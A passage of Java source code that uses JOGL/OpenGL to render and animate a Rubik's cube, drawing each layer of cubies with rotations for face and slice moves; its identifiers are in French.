gl.glVertex3f(width, height, 0.0f);
gl.glVertex3f(width, 0.0f, 0.0f);
gl.glVertex3f(width, 0.0f, depth);
// Left
setColor(gl, cLeft);
gl.glVertex3f(0.0f, height, 0.0f);
gl.glVertex3f(0.0f, height, depth);
gl.glVertex3f(0.0f, 0.0f, depth);
gl.glVertex3f(0.0f, 0.0f, 0.0f);
gl.glEnd();
gl.glPopMatrix();
}
private void drawCubeRightToLeft(GL gl) {
ArrayList faces = (ArrayList) cube.toFace();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.Rp) || mvt.equals(MouvementElementaire.rp))) {
gl.glRotatef(rotate, 1.0f, 0, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.R) || mvt.equals(MouvementElementaire.r))) {
gl.glRotatef(-rotate, 1.0f, 0, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.R2) || mvt.equals(MouvementElementaire.r2))) {
gl.glRotatef(2*rotate, 1.0f, 0, 0);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(5), Couleur.AUCUNE);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(6), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(2), Couleur.AUCUNE);
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(1), ((Face) faces.get(0)).obtenirCouleur(3), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(3), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(6), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(7), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(9), ((Face) faces.get(2)).obtenirCouleur(9), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(6), ((Face) faces.get(2)).obtenirCouleur(8), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(9), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(3), ((Face) faces.get(2)).obtenirCouleur(7), Couleur.AUCUNE);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(6), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(4), Couleur.AUCUNE);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(3), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(9), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(1), Couleur.AUCUNE);
gl.glPopMatrix();
gl.glPushMatrix();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.l) || mvt.equals(MouvementElementaire.rp) || mvt.equals(MouvementElementaire.M))) {
gl.glRotatef(rotate, 1.0f, 0, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.lp) || mvt.equals(MouvementElementaire.r) || mvt.equals(MouvementElementaire.Mp))) {
gl.glRotatef(-rotate, 1.0f, 0, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.l2) || mvt.equals(MouvementElementaire.r2) || mvt.equals(MouvementElementaire.M2))) {
gl.glRotatef(2*rotate, 1.0f, 0, 0);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(2), ((Face) faces.get(0)).obtenirCouleur(2), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(8), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(2), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(2), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glPopMatrix();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.l) || mvt.equals(MouvementElementaire.L))) {
gl.glRotatef(rotate, 1.0f, 0, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.lp) || mvt.equals(MouvementElementaire.Lp))) {
gl.glRotatef(-rotate, 1.0f, 0, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.l2) || mvt.equals(MouvementElementaire.L2))) {
gl.glRotatef(2*rotate, 1.0f, 0, 0);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(5));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(2));
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(3), ((Face) faces.get(0)).obtenirCouleur(1), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(1));
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(6), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(4));
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(9), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(7), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(7));
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(4), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(8));
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(7), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(1), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(9));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(6));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(1), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(7), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(3));
}
private void drawCubeUpToDown(GL gl) {
ArrayList faces = (ArrayList) cube.toFace();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.Up) || mvt.equals(MouvementElementaire.up))) {
gl.glRotatef(rotate, 0, 1.0f, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.U) || mvt.equals(MouvementElementaire.u))) {
gl.glRotatef(-rotate, 0, 1.0f, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.U2) || mvt.equals(MouvementElementaire.u2))) {
gl.glRotatef(2*rotate, 0, 1.0f, 0);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(2), ((Face) faces.get(0)).obtenirCouleur(2), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(1), ((Face) faces.get(0)).obtenirCouleur(3), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(3), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(6), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(2), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(3), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(9), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(1), Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(2), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(1), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(7), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(3));
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(2));
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(3), ((Face) faces.get(0)).obtenirCouleur(1), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(1));
gl.glPopMatrix();
gl.glPushMatrix();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.E) || mvt.equals(MouvementElementaire.up) || mvt.equals(MouvementElementaire.d))) {
gl.glRotatef(rotate, 0, 1.0f, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.Ep) || mvt.equals(MouvementElementaire.u) || mvt.equals(MouvementElementaire.dp))) {
gl.glRotatef(-rotate, 0, 1.0f, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.E2) || mvt.equals(MouvementElementaire.u2) || mvt.equals(MouvementElementaire.d2))) {
gl.glRotatef(2*rotate, 0, 1.0f, 0);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(6), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(5), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(6), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(4), Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(6));
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(5));
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(6), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(4));
gl.glPopMatrix();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.D) || mvt.equals(MouvementElementaire.d))) {
gl.glRotatef(rotate, 0, 1.0f, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.Dp) || mvt.equals(MouvementElementaire.dp))) {
gl.glRotatef(-rotate, 0, 1.0f, 0);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.D2) || mvt.equals(MouvementElementaire.d2))) {
gl.glRotatef(2*rotate, 0, 1.0f, 0);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(8), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(7), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(9), ((Face) faces.get(2)).obtenirCouleur(9), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(6), ((Face) faces.get(2)).obtenirCouleur(8), Couleur.AUCUNE);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(9), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(3), ((Face) faces.get(2)).obtenirCouleur(7), Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(2), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(7), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(1), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(9));
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(4), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(8));
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(9), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(7), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(7));
}
private void drawCubeFrontToBack(GL gl) {
ArrayList faces = (ArrayList) cube.toFace();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.Fp) || mvt.equals(MouvementElementaire.fp))) {
gl.glRotatef(rotate, 0, 0, 1.0f);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.F2) || mvt.equals(MouvementElementaire.f2))) {
gl.glRotatef(2*rotate, 0, 0, 1.0f);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.F) || mvt.equals(MouvementElementaire.f))) {
gl.glRotatef(-rotate, 0, 0, 1.0f);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(0, 0, 1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(2), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(3), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(9), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(1), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(6), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(4), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(9), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(3), ((Face) faces.get(2)).obtenirCouleur(7), Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(2), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(7), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(1), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(9));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(6));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, ((Face) faces.get(4)).obtenirCouleur(1), Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(7), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(3));
gl.glPopMatrix();
gl.glPushMatrix();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.Sp) || mvt.equals(MouvementElementaire.fp) || mvt.equals(MouvementElementaire.b))) {
gl.glRotatef(rotate, 0, 0, 1.0f);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.S) || mvt.equals(MouvementElementaire.f) || mvt.equals(MouvementElementaire.bp))) {
gl.glRotatef(-rotate, 0, 0, 1.0f);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.S2) || mvt.equals(MouvementElementaire.f2) || mvt.equals(MouvementElementaire.b2))) {
gl.glRotatef(2*rotate, 0, 0, 1.0f);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(6), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(2), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(5), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(6), ((Face) faces.get(2)).obtenirCouleur(8), Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(4), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(8));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(5));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(0)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(2));
gl.glPopMatrix();
gl.glTranslatef(0.5f, 0.5f, 0.5f);
if (cubeMoving && (mvt.equals(MouvementElementaire.B) || mvt.equals(MouvementElementaire.b))) {
gl.glRotatef(rotate, 0, 0, 1.0f);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.Bp) || mvt.equals(MouvementElementaire.bp))) {
gl.glRotatef(-rotate, 0, 0, 1.0f);
}
if (cubeMoving && (mvt.equals(MouvementElementaire.B2) || mvt.equals(MouvementElementaire.b2))) {
gl.glRotatef(2*rotate, 0, 0, 1.0f);
}
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glTranslatef(0, 0, -1.0f);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(5), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(2), ((Face) faces.get(0)).obtenirCouleur(2), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(1), ((Face) faces.get(0)).obtenirCouleur(3), Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(3), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(4), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(2)).obtenirCouleur(6), Couleur.AUCUNE);
gl.glTranslatef(0, -1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(7), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(9), ((Face) faces.get(2)).obtenirCouleur(9), Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(8), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(8), Couleur.AUCUNE, Couleur.AUCUNE);
gl.glTranslatef(-1.0f, 0, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(9), Couleur.AUCUNE, ((Face) faces.get(1)).obtenirCouleur(7), Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(7));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(6), Couleur.AUCUNE, Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(4));
gl.glTranslatef(0, 1.0f, 0);
drawCuboid(gl, cubieSize, cubieSize, cubieSize, Couleur.AUCUNE, ((Face) faces.get(5)).obtenirCouleur(3), ((Face) faces.get(0)).obtenirCouleur(1), Couleur.AUCUNE, Couleur.AUCUNE, ((Face) faces.get(3)).obtenirCouleur(1));
}
public void init(GLAutoDrawable drawable) {
GL gl = drawable.getGL();
gl.glClearColor(0.4f, 0.4f, 0.4f, 1.f);
gl.glEnable(GL.GL_DEPTH_TEST);
drawable.addMouseMotionListener(this);
drawable.addMouseListener(this);
}
